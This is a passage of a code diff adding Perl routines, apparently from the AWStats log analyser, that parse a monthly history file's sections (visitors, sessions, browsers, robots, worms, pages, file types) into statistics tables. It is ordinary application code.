) { + $MonthUnique{ $year . $month }++; + } + if ( $MonthRequired ne 'all' ) { + if ( $field[0] !~ /^\d+\.\d+\.\d+\.\d+$/ + && $field[0] !~ /^[0-9A-F]*:/i ) + { + $MonthHostsKnown{ $year . $month }++; + } + else { $MonthHostsUnknown{ $year . $month }++; } + } + } + + # Process data saved in 'wait' arrays + if ( $withupdate && $_waithost_e{ $field[0] } ) { + my $timehostl = int( $field[4] || 0 ); + my $timehosts = int( $field[5] || 0 ); + my $newtimehosts = ( + $_waithost_s{ $field[0] } + ? $_waithost_s{ $field[0] } + : $_host_s{ $field[0] } + ); + my $newtimehostl = ( + $_waithost_l{ $field[0] } + ? $_waithost_l{ $field[0] } + : $_host_l{ $field[0] } + ); + if ( $newtimehosts > $timehostl + $VISITTIMEOUT ) { + if ($Debug) { + debug( +" Visit for $field[0] in 'wait' arrays is a new visit different than last in history", + 4 + ); + } + if ( $field[6] ) { $_url_x{ $field[6] }++; } + $_url_e{ $_waithost_e{ $field[0] } }++; + $newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/; + $DayVisits{$1}++; + if ( $timehosts && $timehostl ) { + $_session{ + GetSessionRange( $timehosts, + $timehostl ) + }++; + } + if ( $_waithost_s{ $field[0] } ) { + + # First session found in log was followed by another one so it's finished + $_session{ + GetSessionRange( $newtimehosts, + $newtimehostl ) + }++; + } + + # Here $_host_l $_host_s and $_host_u are correctly defined + } + else { + if ($Debug) { + debug( +" Visit for $field[0] in 'wait' arrays is following of last visit in history", + 4 + ); + } + if ( $_waithost_s{ $field[0] } ) { + + # First session found in log was followed by another one so it's finished + $_session{ + GetSessionRange( + MinimumButNoZero( + $timehosts, $newtimehosts + ), + $timehostl > $newtimehostl + ? $timehostl + : $newtimehostl + ) + }++; + + # Here $_host_l $_host_s and $_host_u are correctly defined + } + else { + + # We correct $_host_l $_host_s and $_host_u + if ( $timehostl > $newtimehostl ) { + $_host_l{ $field[0] } = $timehostl; + $_host_u{ $field[0] } = $field[6]; + } + if ( $timehosts < $newtimehosts ) { + $_host_s{ $field[0] } = $timehosts; + } + } + } + delete $_waithost_e{ $field[0] }; + delete $_waithost_l{ $field[0] }; + delete $_waithost_s{ $field[0] }; + delete $_waithost_u{ $field[0] }; + } + + # Load records + if ( $readvisitorforbackward != 2 + && $SectionsToLoad{'visitor'} ) + { # if readvisitorforbackward==2 we do not load + my $loadrecord = 0; + if ($withupdate) { + $loadrecord = 1; + } + else { + if ( $HTMLOutput{'allhosts'} + || $HTMLOutput{'lasthosts'} ) + { + if ( + ( + !$FilterIn{'host'} + || $field[0] =~ /$FilterIn{'host'}/i + ) + && ( !$FilterEx{'host'} + || $field[0] !~ + /$FilterEx{'host'}/i ) + ) + { + $loadrecord = 1; + } + } + elsif ($MonthRequired eq 'all' + || $field[2] >= $MinHit{'Host'} ) + { + if ( + $HTMLOutput{'unknownip'} + && ( $field[0] =~ /^\d+\.\d+\.\d+\.\d+$/ + || $field[0] =~ /^[0-9A-F]*:/i ) + ) + { + $loadrecord = 1; + } + elsif ( + $HTMLOutput{'main'} + && ( $MonthRequired eq 'all' + || $countloaded < + $MaxNbOf{'HostsShown'} ) + ) + { + $loadrecord = 1; + } + } + } + if ($loadrecord) { + if ( $field[1] ) { + $_host_p{ $field[0] } += $field[1]; + } + if ( $field[2] ) { + $_host_h{ $field[0] } += $field[2]; + } + if ( $field[3] ) { + $_host_k{ $field[0] } += $field[3]; + } + if ( $field[4] && !$_host_l{ $field[0] } ) + { # We save last connexion params if not previously defined + $_host_l{ $field[0] } = int( $field[4] ); + if ($withupdate) + { # field[5] field[6] are used only for update + if ( $field[5] + && !$_host_s{ $field[0] } ) + { + $_host_s{ $field[0] } = + int( $field[5] ); + } + if ( $field[6] + && !$_host_u{ $field[0] } ) + { + $_host_u{ $field[0] } = $field[6]; + } + } + } + $countloaded++; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_VISITOR' + || $field[0] eq "${xmleb}END_VISITOR" + || !$_ ); + if ( $field[0] ne 'END_VISITOR' + && $field[0] ne "${xmleb}END_VISITOR" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section VISITOR not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of VISITOR section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'visitor'}; + +# WE DO NOT SAVE SECTION NOW TO BE SURE TO HAVE THIS LARGE SECTION NOT AT THE BEGINNING OF FILE +#if ($SectionsToSave{'visitor'}) { +# Save_History('visitor',$year,$month,$date); delete $SectionsToSave{'visitor'}; +# if ($withpurge) { %_host_p=(); %_host_h=(); %_host_k=(); %_host_l=(); %_host_s=(); %_host_u=(); } +#} + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_UNKNOWNIP for backward compatibility + if ( $field[0] eq 'BEGIN_UNKNOWNIP' ) { + my %iptomigrate = (); + if ($Debug) { debug(" Begin of UNKNOWNIP section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'unknownip'} ) { + $iptomigrate{ $field[0] } = $field[1] || 0; + $countloaded++; + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_UNKNOWNIP' + || $field[0] eq "${xmleb}END_UNKNOWNIP" + || !$_ ); + if ( $field[0] ne 'END_UNKNOWNIP' + && $field[0] ne "${xmleb}END_UNKNOWNIP" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section UNKOWNIP not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of UNKOWNIP section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'visitor'}; + +# THIS SECTION IS NEVER SAVED. ONLY READ FOR MIGRATE AND CONVERTED INTO VISITOR SECTION + foreach ( keys %iptomigrate ) { + $_host_p{$_} += int( $_host_p{'Unknown'} / $countloaded ); + $_host_h{$_} += int( $_host_h{'Unknown'} / $countloaded ); + $_host_k{$_} += int( $_host_k{'Unknown'} / $countloaded ); + if ( $iptomigrate{$_} > 0 ) { + $_host_l{$_} = $iptomigrate{$_}; + } + } + delete $_host_p{'Unknown'}; + delete $_host_h{'Unknown'}; + delete $_host_k{'Unknown'}; + delete $_host_l{'Unknown'}; + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_LOGIN + if ( $field[0] eq 'BEGIN_LOGIN' ) { + if ($Debug) { debug(" Begin of LOGIN section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'login'} ) { + $countloaded++; + if ( $field[1] ) { + $_login_p{ $field[0] } += $field[1]; + } + if ( $field[2] ) { + $_login_h{ $field[0] } += $field[2]; + } + if ( $field[3] ) { + $_login_k{ $field[0] } += $field[3]; + } + if ( !$_login_l{ $field[0] } && $field[4] ) { + $_login_l{ $field[0] } = int( $field[4] ); + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_LOGIN' + || $field[0] eq "${xmleb}END_LOGIN" + || !$_ ); + if ( $field[0] ne 'END_LOGIN' + && $field[0] ne "${xmleb}END_LOGIN" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section LOGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of LOGIN section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'login'}; + if ( $SectionsToSave{'login'} ) { + Save_History( 'login', $year, $month, $date ); + delete $SectionsToSave{'login'}; + if ($withpurge) { + %_login_p = (); + %_login_h = (); + %_login_k = (); + %_login_l = (); + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_DOMAIN + if ( $field[0] eq 'BEGIN_DOMAIN' ) { + if ($Debug) { debug(" Begin of DOMAIN section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'domain'} ) { + $countloaded++; + if ( $field[1] ) { + $_domener_p{ $field[0] } += $field[1]; + } + if ( $field[2] ) { + $_domener_h{ $field[0] } += $field[2]; + } + if ( $field[3] ) { + $_domener_k{ $field[0] } += $field[3]; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_DOMAIN' + || $field[0] eq "${xmleb}END_DOMAIN" + || !$_ ); + if ( $field[0] ne 'END_DOMAIN' + && $field[0] ne "${xmleb}END_DOMAIN" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section DOMAIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of DOMAIN section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'domain'}; + if ( $SectionsToSave{'domain'} ) { + Save_History( 'domain', $year, $month, $date ); + delete $SectionsToSave{'domain'}; + if ($withpurge) { + %_domener_p = (); + %_domener_h = (); + %_domener_k = (); + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_SESSION + if ( $field[0] eq 'BEGIN_SESSION' ) { + if ($Debug) { debug(" Begin of SESSION section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'session'} ) { + $countloaded++; + if ( $field[1] ) { + $_session{ $field[0] } += $field[1]; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_SESSION' + || $field[0] eq "${xmleb}END_SESSION" + || !$_ ); + if ( $field[0] ne 'END_SESSION' + && $field[0] ne "${xmleb}END_SESSION" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section SESSION not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of SESSION section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'session'}; + +# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR +#if ($SectionsToSave{'session'}) { +# Save_History('session',$year,$month,$date); delete $SectionsToSave{'session'}; } +# if ($withpurge) { %_session=(); } +#} + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_OS + if ( $field[0] eq 'BEGIN_OS' ) { + if ($Debug) { debug(" Begin of OS section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'os'} ) { + $countloaded++; + if ( $field[1] ) { + $_os_h{ $field[0] } += $field[1]; + $_os_p{ $field[0] } += $field[2]; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_OS' + || $field[0] eq "${xmleb}END_OS" + || !$_ ); + if ( $field[0] ne 'END_OS' && $field[0] ne "${xmleb}END_OS" ) { + error( +"History file \"$filetoread\" is corrupted (End of section OS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of OS section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'os'}; + if ( $SectionsToSave{'os'} ) { + Save_History( 'os', $year, $month, $date ); + delete $SectionsToSave{'os'}; + if ($withpurge) { %_os_h = (); %_os_p = (); } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_BROWSER + if ( $field[0] eq 'BEGIN_BROWSER' ) { + if ($Debug) { debug(" Begin of BROWSER section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'browser'} ) { + $countloaded++; + if ( $field[1] ) { + $_browser_h{ $field[0] } += $field[1]; + $_browser_p{ $field[0] } += $field[2]; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_BROWSER' + || $field[0] eq "${xmleb}END_BROWSER" + || !$_ ); + if ( $field[0] ne 'END_BROWSER' + && $field[0] ne "${xmleb}END_BROWSER" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section BROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of BROWSER section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'browser'}; + if ( $SectionsToSave{'browser'} ) { + Save_History( 'browser', $year, $month, $date ); + delete $SectionsToSave{'browser'}; + if ($withpurge) { %_browser_h = (); %_browser_p = (); } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_UNKNOWNREFERER + if ( $field[0] eq 'BEGIN_UNKNOWNREFERER' ) { + if ($Debug) { debug(" Begin of UNKNOWNREFERER section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'unknownreferer'} ) { + $countloaded++; + if ( !$_unknownreferer_l{ $field[0] } ) { + $_unknownreferer_l{ $field[0] } = + int( $field[1] ); + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_UNKNOWNREFERER' + || $field[0] eq "${xmleb}END_UNKNOWNREFERER" + || !$_ ); + if ( $field[0] ne 'END_UNKNOWNREFERER' + && $field[0] ne "${xmleb}END_UNKNOWNREFERER" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of UNKNOWNREFERER section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'unknownreferer'}; + if ( $SectionsToSave{'unknownreferer'} ) { + Save_History( 'unknownreferer', $year, $month, $date ); + delete $SectionsToSave{'unknownreferer'}; + if ($withpurge) { %_unknownreferer_l = (); } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_UNKNOWNREFERERBROWSER + if ( $field[0] eq 'BEGIN_UNKNOWNREFERERBROWSER' ) { + if ($Debug) { + debug(" Begin of UNKNOWNREFERERBROWSER section"); + } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'unknownrefererbrowser'} ) { + $countloaded++; + if ( !$_unknownrefererbrowser_l{ $field[0] } ) { + $_unknownrefererbrowser_l{ $field[0] } = + int( $field[1] ); + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_UNKNOWNREFERERBROWSER' + || $field[0] eq "${xmleb}END_UNKNOWNREFERERBROWSER" + || !$_ ); + if ( $field[0] ne 'END_UNKNOWNREFERERBROWSER' + && $field[0] ne "${xmleb}END_UNKNOWNREFERERBROWSER" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERERBROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of UNKNOWNREFERERBROWSER section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'unknownrefererbrowser'}; + if ( $SectionsToSave{'unknownrefererbrowser'} ) { + Save_History( 'unknownrefererbrowser', + $year, $month, $date ); + delete $SectionsToSave{'unknownrefererbrowser'}; + if ($withpurge) { %_unknownrefererbrowser_l = (); } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_SCREENSIZE + if ( $field[0] eq 'BEGIN_SCREENSIZE' ) { + if ($Debug) { debug(" Begin of SCREENSIZE section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'screensize'} ) { + $countloaded++; + if ( $field[1] ) { + $_screensize_h{ $field[0] } += $field[1]; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_SCREENSIZE' + || $field[0] eq "${xmleb}END_SCREENSIZE" + || !$_ ); + if ( $field[0] ne 'END_SCREENSIZE' + && $field[0] ne "${xmleb}END_SCREENSIZE" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section SCREENSIZE not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of SCREENSIZE section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'screensize'}; + if ( $SectionsToSave{'screensize'} ) { + Save_History( 'screensize', $year, $month, $date ); + delete $SectionsToSave{'screensize'}; + if ($withpurge) { %_screensize_h = (); } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_ROBOT + if ( $field[0] eq 'BEGIN_ROBOT' ) { + if ($Debug) { debug(" Begin of ROBOT section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'robot'} ) { + $countloaded++; + if ( $field[1] ) { + $_robot_h{ $field[0] } += $field[1]; + } + $_robot_k{ $field[0] } += $field[2]; + if ( !$_robot_l{ $field[0] } ) { + $_robot_l{ $field[0] } = int( $field[3] ); + } + if ( $field[4] ) { + $_robot_r{ $field[0] } += $field[4]; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_ROBOT' + || $field[0] eq "${xmleb}END_ROBOT" + || !$_ ); + if ( $field[0] ne 'END_ROBOT' + && $field[0] ne "${xmleb}END_ROBOT" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section ROBOT not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of ROBOT section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'robot'}; + if ( $SectionsToSave{'robot'} ) { + Save_History( 'robot', $year, $month, $date ); + delete $SectionsToSave{'robot'}; + if ($withpurge) { + %_robot_h = (); + %_robot_k = (); + %_robot_l = (); + %_robot_r = (); + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_WORMS + if ( $field[0] eq 'BEGIN_WORMS' ) { + if ($Debug) { debug(" Begin of WORMS section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'worms'} ) { + $countloaded++; + if ( $field[1] ) { + $_worm_h{ $field[0] } += $field[1]; + } + $_worm_k{ $field[0] } += $field[2]; + if ( !$_worm_l{ $field[0] } ) { + $_worm_l{ $field[0] } = int( $field[3] ); + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_WORMS' + || $field[0] eq "${xmleb}END_WORMS" + || !$_ ); + if ( $field[0] ne 'END_WORMS' + && $field[0] ne "${xmleb}END_WORMS" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section WORMS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of WORMS section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'worms'}; + if ( $SectionsToSave{'worms'} ) { + Save_History( 'worms', $year, $month, $date ); + delete $SectionsToSave{'worms'}; + if ($withpurge) { + %_worm_h = (); + %_worm_k = (); + %_worm_l = (); + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_EMAILS + if ( $field[0] eq 'BEGIN_EMAILSENDER' ) { + if ($Debug) { debug(" Begin of EMAILSENDER section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'emailsender'} ) { + $countloaded++; + if ( $field[1] ) { + $_emails_h{ $field[0] } += $field[1]; + } + if ( $field[2] ) { + $_emails_k{ $field[0] } += $field[2]; + } + if ( !$_emails_l{ $field[0] } ) { + $_emails_l{ $field[0] } = int( $field[3] ); + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_EMAILSENDER' + || $field[0] eq "${xmleb}END_EMAILSENDER" + || !$_ ); + if ( $field[0] ne 'END_EMAILSENDER' + && $field[0] ne "${xmleb}END_EMAILSENDER" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section EMAILSENDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of EMAILSENDER section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'emailsender'}; + if ( $SectionsToSave{'emailsender'} ) { + Save_History( 'emailsender', $year, $month, $date ); + delete $SectionsToSave{'emailsender'}; + if ($withpurge) { + %_emails_h = (); + %_emails_k = (); + %_emails_l = (); + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_EMAILR + if ( $field[0] eq 'BEGIN_EMAILRECEIVER' ) { + if ($Debug) { debug(" Begin of EMAILRECEIVER section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'emailreceiver'} ) { + $countloaded++; + if ( $field[1] ) { + $_emailr_h{ $field[0] } += $field[1]; + } + if ( $field[2] ) { + $_emailr_k{ $field[0] } += $field[2]; + } + if ( !$_emailr_l{ $field[0] } ) { + $_emailr_l{ $field[0] } = int( $field[3] ); + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_EMAILRECEIVER' + || $field[0] eq "${xmleb}END_EMAILRECEIVER" + || !$_ ); + if ( $field[0] ne 'END_EMAILRECEIVER' + && $field[0] ne "${xmleb}END_EMAILRECEIVER" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section EMAILRECEIVER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of EMAILRECEIVER section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'emailreceiver'}; + if ( $SectionsToSave{'emailreceiver'} ) { + Save_History( 'emailreceiver', $year, $month, $date ); + delete $SectionsToSave{'emailreceiver'}; + if ($withpurge) { + %_emailr_h = (); + %_emailr_k = (); + %_emailr_l = (); + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_SIDER + if ( $field[0] eq 'BEGIN_SIDER' ) { + if ($Debug) { debug(" Begin of SIDER section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'sider'} ) { + my $loadrecord = 0; + if ($withupdate) { + $loadrecord = 1; + } + else { + if ( $HTMLOutput{'main'} ) { + if ( $MonthRequired eq 'all' ) { + $loadrecord = 1; + } + else { + if ( + $countloaded < $MaxNbOf{'PageShown'} + && $field[1] >= $MinHit{'File'} ) + { + $loadrecord = 1; + } + $TotalDifferentPages++; + } + } + else + { # This is for $HTMLOutput = urldetail, urlentry or urlexit + if ( $MonthRequired eq 'all' ) { + if ( + ( + !$FilterIn{'url'} + || $field[0] =~ + /$FilterIn{'url'}/ + ) + && ( !$FilterEx{'url'} + || $field[0] !~ + /$FilterEx{'url'}/ ) + ) + { + $loadrecord = 1; + } + } + else { + if ( + ( + !$FilterIn{'url'} + || $field[0] =~ + /$FilterIn{'url'}/ + ) + && ( !$FilterEx{'url'} + || $field[0] !~ + /$FilterEx{'url'}/ ) + && $field[1] >= $MinHit{'File'} + ) + { + $loadrecord = 1; + } + $TotalDifferentPages++; + } + } + +# Posssibilite de mettre if ($FilterIn{'url'} && $field[0] =~ /$FilterIn{'url'}/) mais il faut gerer TotalPages de la meme maniere + $TotalBytesPages += ( $field[2] || 0 ); + $TotalEntries += ( $field[3] || 0 ); + $TotalExits += ( $field[4] || 0 ); + } + if ($loadrecord) { + if ( $field[1] ) { + $_url_p{ $field[0] } += $field[1]; + } + if ( $field[2] ) { + $_url_k{ $field[0] } += $field[2]; + } + if ( $field[3] ) { + $_url_e{ $field[0] } += $field[3]; + } + if ( $field[4] ) { + $_url_x{ $field[0] } += $field[4]; + } + $countloaded++; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_SIDER' + || $field[0] eq "${xmleb}END_SIDER" + || !$_ ); + if ( $field[0] ne 'END_SIDER' + && $field[0] ne "${xmleb}END_SIDER" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section SIDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of SIDER section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'sider'}; + +# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR +#if ($SectionsToSave{'sider'}) { +# Save_History('sider',$year,$month,$date); delete $SectionsToSave{'sider'}; +# if ($withpurge) { %_url_p=(); %_url_k=(); %_url_e=(); %_url_x=(); } +#} + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_FILETYPES + if ( $field[0] eq 'BEGIN_FILETYPES' ) { + if ($Debug) { debug(" Begin of FILETYPES section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'filetypes'} ) { + $countloaded++; + if ( $field[1] ) { + $_filetypes_h{ $field[0] } += $field[1]; + } + if ( $field[2] ) { + $_filetypes_k{ $field[0] } += $field[2]; + } + if ( $field[3] ) { + $_filetypes_gz_in{ $field[0] } += $field[3]; + } + if ( $field[4] ) { + $_filetypes_gz_out{ $field[0] } += $field[4]; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_FILETYPES' + || $field[0] eq "${xmleb}END_FILETYPES" + || !$_ ); + if ( $field[0] ne 'END_FILETYPES' + && $field[0] ne "${xmleb}END_FILETYPES" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section FILETYPES not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of FILETYPES section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'filetypes'}; + if ( $SectionsToSave{'filetypes'} ) { + Save_History( 'filetypes', $year, $month, $date ); + delete $SectionsToSave{'filetypes'}; + if ($withpurge) { + %_filetypes_h = (); + %_filetypes_k = (); + %_filetypes_gz_in = (); + %_filetypes_gz_out = (); + } + } + if ( 